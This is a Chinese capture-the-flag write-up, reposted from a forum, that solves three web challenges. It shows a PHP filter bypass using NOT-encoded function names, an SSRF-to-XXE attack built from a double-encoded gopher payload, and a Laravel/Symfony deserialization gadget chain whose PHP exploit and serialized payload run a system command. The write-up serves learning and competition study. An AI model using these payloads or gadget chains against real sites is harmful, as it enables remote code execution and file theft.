转自i春秋 https://bbs.ichunqiu.com/thread-57773-1-1.html
适当洽一点小经费。。。
这次的题目难度没有特别变态,但是也是充满挑战,打完一场比赛最重要的也是整理总结,因此有了今天的WP总结,也是记录自己学习的过程。由于题目环境部分没法复现,因此可能用到其他师傅的图,敬请谅解~
题目直接给的代码:
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
过滤了flag . p h / ; " ' \`| [ ] __
这些字符,没有过滤取反和异或,把内置定义的函数和这些都给过滤了,然后assert
执行,所以这里考虑使用取反,原本想法是用取反一句话shell,但是过滤了[]
因此行不通,直接构造 readfile(flag.php)
$a = "r e a d f i l e";
//$a = 'f l a g . p h p'
$arr1 = explode(' ', $a);
echo "
~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")
";
//(~%8d%9a%9e%9b%99%96%93%9a)(~%99%93%9e%98%d1%8f%97%8f);
考虑到此处直接提供了assert函数,而且是PHP7的版本,因此可以进行RCE
?code=(~%91%9a%87%8b)(~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c());
//("assert")(("next")(("getallheaders")()));
抓包在headers中添加任意一项,其值就是构造的命令,发现给ban
了,仔细看了下正则,发现禁了字母g
,所以这条路还是行不通,直接readfile
吧
又是上来给代码,这里把代码贴上:
highlight_file(__FILE__);
$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode(‘&‘,$poc);
$a_key=explode(‘=‘,$ids[0])[0];
$b_key=explode(‘=‘,$ids[1])[0];
$a_value=explode(‘=‘,$ids[0])[1];
$b_value=explode(‘=‘,$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die(‘我什么都没有~‘);
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die(‘be it so‘);
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != ‘file‘) {
#add_debug_log($param, ‘post_data‘);
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == ‘file‘) {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == ‘xml‘) {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
出现了curl
还有xxe.php
,是比较明显的xxe
漏洞的点,做了一些过滤
//xxe.php
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
置换为空,因此双写绕过即可,但是这里限制了必须要是
$_SERVER['REMOTE_ADDR'] == '127.0.0.1'
所以很明显是利用前者进行SSRF,从而构造xml来进行xxe,这里介绍两种解法,先将预期解法,也就是利用Gopher协议打gopher进行SSRF从而XXE任意文件读取。
首先要清楚,如何来绕过上面的限制
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die(‘be it so‘);
}
}
其实当我们请求的两个参数的键值相同时,就绕过了这个点,因此,我们只需要构造好gopher
即可,但是
$poc=$_SERVER[‘QUERY_STRING‘];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
所以即使我们在双写的时候,也需要将关键字给编码一下
这里需要明白我们浏览器和服务器处理数据的流程,我们传入的参数会经过浏览器的urlencode然后传给服务器,我们服务器收到之后会先进行urldecode,然后拿去正则判断,如果过去之后,则交由后续的程序处理,这里我们进行urlencode编码绕过即可,对我们的字母同样进行urlencode,即%+十六进制;
因此我们首先构造好的gopher是这样的(注意gopher的格式是gopher://ip:port/)
gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1
Host:127.0.0.1
User-Agent:+curl/1.1.0
Accept:*/*
Content-Length:174
Content-Type: application/x-www-form-urlencoded
data=xml+version="1.0"?><!DOCTYPE+ANY [<!ENTITY+xx+SYSYSTEMSTEM "php://filter/rereadad=convert.base64-encode/resource=fifilele:///var/www/html/fflaglag.php">]><x>&xx;</x>
然后把xml中的引用&
进行urlencode之后是这样的:
gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1
Host:127.0.0.1
User-Agent:+curl/1.1.0
Accept:*/*
Content-Length:174
Content-Type: application/x-www-form-urlencoded
data=xml+version="1.0"?><!DOCTYPE+ANY [<!ENTITY+xx+SYSYSTEMSTEM "php://filter/rereadad=convert.base64-encode/resource=fifilele:///var/www/html/fflaglag.php">]><x>%26xx;</x>
接着就是把所有的符号全部进行urlencode,得到的是这样的:
gopher://127.0.0.1:80/_POST%20/xxe.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aUser-Agent:+curl/1.1.0%0d%0aAccept:*/*%0d%0aContent-Length:174%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a%0d%0adata=%3c%3fxml+version%3d%221.0%22%3f%3e%3c!DOCTYPE+ANY+%5b%3c!ENTITY+xx+SYSYSTEMSTEM+%22php%3a%2f%2ffilter%2frereadad%3dconvert.base64-encode%2fresource%3dfifilele%3a%2f%2f%2fvar%2fwww%2fhtml%2ffflaglag.php%22%3e%5d%3e%3cx%3e%2526xx%3b%3c%2fx%3e
接下来就需要将过滤的关键字如file
、flag
等中间某个字符进行urlencode以绕过正则,其他的需要进行二次编码,将%
替换为%25
,得到的是:
gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2fxxe.php%2520HTTP%2f1.1%250d%250aHost%3a127.0.0.1%250d%250aUser-Agent%3a+curl%2f1.1.0%250d%250aAccept%3a*%2f*%250d%250aContent-Length%3a174%250d%250aContent-Type%3a%2520application%2fx-www-form-urlencoded%250d%250a%250d%250adata%3d%253c%253fxml%2bversion%253d%25221.0%2522%253f%253e%253c!DOCTYPE%2bANY%2b%255b%253c!ENTITY%2bxx%2bSYSYSTEMSTEM%2b%2522php%253a%252f%252ffilter%252fre%72eadad%253dconvert.base64-encode%252fresource%253dfi%66ilele%253a%252f%252f%252fvar%252fwww%252fhtml%252ff%66laglag.php%2522%253e%255d%253e%253cx%253e%252526xx%253b%253c%252fx%253e
如果直接使用curl
是不需要二次编码的,在浏览器框中输入才需要进行二次编码,这样的话我们利用构造好的gopher
打过去,就能得到flag的base64加密了。
Content-Length:174表示发送数据的大小
例如我们POST data=xxx,则Content-Length为8,无论你进行多少次url编码,都会将我们发送的数据解码成data=xxx,所以有时候我们进行多次url编码,但是服务器还是能识别,这就是Content-Length的作用
因此,这里可以总结构造gopher进行POST请求步骤:
data=
,也就是在加上5的总长度这里过滤了file
和flag
,其实在这里只需要进行一次urlencode
,就能轻松绕过,例如我在D盘下有一个flag.txt,通过urlencode file:///D:/flag.txt
即可查看
因为此处出题人使用的是** S E R V E R [ ′ Q U E R Y S T R I N G ′ ] ∗ ∗ , 是 不 会 进 行 u r l d e c o d e 的 , 但 是 ∗ ∗ _SERVER['QUERY_STRING']**,是不会进行urldecode的,但是** SERVER[′QUERYSTRING′]∗∗,是不会进行urldecode的,但是∗∗_GET**会进行urldecode,因此就有了上述的操作
不妨动态调试一下:当我们传入的是urlencode时:
此时$poc并没有进行urldecode,因此能够过正则,继续往下当进行到$_GET操作时:
此时进行urldecode
,因此能够绕过正则来用file
读取文件。
其实在这里是对$a_key==$b_key
进行绕过,我们知道%00是截断符,那么如果我们构造:
?a%00=1&a=%66%69%6c%65%3a%2f%2f%2f%44%3a%2f%66%6c%61%67%2e%74%78%74
这个时候count($_GET)==1但是$a_key!==$b_key
同样能够达到相同的目的。
googlehack一波发现之前爆过laravel框架的一些漏洞,包括sql还有反序列化导致的rce等等的一些问题,所以我们着手于这些个已知漏洞为目标来进行寻找,那就直接开审
先是看到了和之前5.7一样的反序列化的入口,出题人也相应增加了这个路由
既然能够有反序列化,那么接下来应该找析构和构造函数,全局搜索**__destruct**,找到了很多,但是最终选择
为什么选择它?因为这里** p a r e n t ∗ ∗ 和 ∗ ∗ parent**和** parent∗∗和∗∗route**可控,并且会反序列化时会触发
$this->parent->addCollection($this->route);
这样当$parent是其他类时,便会触发这个类的**__call()**方法,而其他类中的析构函数中就是直接调用自己类的方法,因此无法触发其他类的__call()
,继续全局搜索这个魔术方法:
跟进format一探究竟,注意调用call方法特性会将$method=addCollection,$attributes=$this->route
,$arguments
是类中没有定义的函数的参数,为一个数组。为了更好的理解call函数的特性,请看下面这个例子:
这里可以很明显的看到调用**__call()**后会将addCollection
作为$method
,而$this->route
则作为数组$attributes$
,因此回到题目的format()
方法
这里用了回调函数,并且将$method
即addCollection
作为第一个参数传入,$attributes
即$this->route
作为第二个参数传入,继续跟进getFormatter()
$formatters
出题人已经帮我们构造好了,是一个array(),我们只需要使得$this->formatters[$formatter]=system
,然后$this->route=ls
,便能够进行RCE。
php7.1以上的反序列化不会判断属性类型,所以可以无视类型,直接用public
编写exp如下:
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
public $parent;
public $route;
public function __construct($parent,$route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct(){
return $this->parent->addCollection($this->route);
}
}
}
namespace Faker{
class Generator{
public $providers = array();
public $formatters = array();
public function __construct(){
$this->formatters = array("addCollection"=>"system"); //$this->formatters[$formatter]=$this->formatters['addCollection'] = system
}
}
}
namespace{
$crispr = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");//将Generator类作为第一个参数,以触发Generator类的__call()方法
echo serialize($crispr);
}
//O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:6:"parent";O:15:"Faker\Generator":2:{s:9:"providers";a:0:{}s:10:"formatters";a:1:{s:13:"addCollection";s:6:"system";}}s:5:"route";s:9:"cat /flag";}